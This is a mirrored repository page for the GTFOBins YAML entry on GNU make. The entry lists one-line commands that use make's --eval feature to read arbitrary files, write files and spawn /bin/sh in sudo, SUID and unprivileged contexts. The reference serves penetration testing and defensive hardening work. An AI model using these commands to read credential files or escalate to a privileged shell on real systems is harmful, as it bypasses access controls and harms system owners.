1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/make
=?UTF-8?q?Jo=C3=A3o=20Lucas?= 5ecb3b8e47 Add make file read
Close #521.
2026-01-17 10:26:07 +01:00

33 lines
563 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
make -s --eval='$(file >/dev/stdout,$(file </path/to/input-file))' .
contexts:
sudo:
suid:
unprivileged:
version: |-
GNU
file-write:
- code: |-
make -s --eval='$(file >/path/to/output-file,DATA)' .
contexts:
sudo:
suid:
unprivileged:
version: |-
GNU
shell:
- code: |-
make --eval='$(shell /bin/sh 1>&0)' .
contexts:
sudo:
suid:
shell: true
unprivileged:
version: |-
GNU
...